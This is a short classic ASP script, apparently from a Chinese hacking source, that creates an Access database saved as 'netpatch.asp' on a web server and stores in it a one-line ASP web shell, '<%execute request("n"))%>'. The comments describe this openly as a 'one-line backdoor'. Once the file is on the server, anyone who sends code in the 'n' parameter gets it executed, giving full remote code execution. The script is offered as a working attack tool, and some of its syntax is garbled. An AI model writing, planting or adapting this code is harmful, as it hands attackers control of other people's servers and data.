<%   
'code by netpatch  
dim dbfile,SQL   
db="netpatch.asp"  
dbfile=server.MapPath(db)   

set ydb=server.CreateObject("ADOX.Catalog")   
ydb.Create "PRovider=Microsoft.Jet.OLEDB.4.0;Data Source=" &amp; dbfile   
set ydb=nothing   
if err.number=0 then   
Response.WrITe dbfile & " 创建成功<br> "   
else   
Response.Write "创建失败，原因： " & err.description   
Response.End   
end if   

Set Conn = Server.CreateObject("ADODB.Connection")   
Conn.OPEn "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & dbfile   

sql="CREATE TABLE fdata([data] ;memo)"   
conn.execute(sql)   

Set rs = CreateObject("ADODB.Recordset")   
rs.Open "FData", conn, 1, 3   
rs.addnew   
rs("data")="<%execute request(“n”))%>" '(注释记得去掉！一句话后门 execute request(“n”))  
rs.update   

%>